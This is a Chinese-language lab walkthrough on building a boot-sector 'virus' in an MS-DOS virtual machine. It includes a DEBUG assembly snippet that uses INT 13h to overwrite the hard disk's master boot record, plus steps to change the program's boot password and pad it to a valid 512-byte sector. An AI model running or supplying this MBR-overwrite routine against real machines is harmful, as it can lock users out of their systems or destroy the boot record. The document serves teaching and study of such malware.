跳转至

引导型病毒研究与实现

系统信息

系统位ms-dos系统,无gui界面

Text Only
cd masm

进入工作目录,其中boot.asm就是我们的源程序,ml是编译器。

编译程序

Text Only
ml boot.asm

Text Only
debug boot.com

使用debug boot.com进入debug调试模式(看到-提示符),这时boot.com被载入xxxx:0100地址,代码所在地址在xxxx:7c00

注入代码到主引导扇区

用debug中的“a” 命令编写汇编程序把7c00处的代码写入主引导扇区

GAS
mov ax,0301
mov bx,7c00
mov cx,0001
mov dx,0080
int 13
mov ax,4c
int 21

写完代码后再键入一次回车可回到“-”提示符,此时键入g 然后回车让这段汇编程序执行

如果看到Program terminated normally就完成了,现在重启虚拟机,查看结果。

开机密码为1234

修改密码

Text Only
edit boot.asm

找到相关的设置密码逻辑,修改为自定义密码

自行修改后,为了使该扇区必须以AA55H为结尾,则需把程序凑满512个字节(一个扇区),填充字节数 ?

我们可以对比前后密码差的字节数

Text Only
1234 --> yyf2022122117 --> 9byte

db 323 dup('a') --> db 314 dup('a')
Text Only
ml boot.asm

重新编译,debug

Bash
debug boot.com

d 7c00
# d 跳转到地址,单独使用为程序往下走

继续d回车,直到地址7df0这行的最后两个字节正好为55AA即可:

可以看到我们还差一个字节

Text Only
db 323 dup('a') --> db 315 dup('a')

可以看到已经成功修改了密码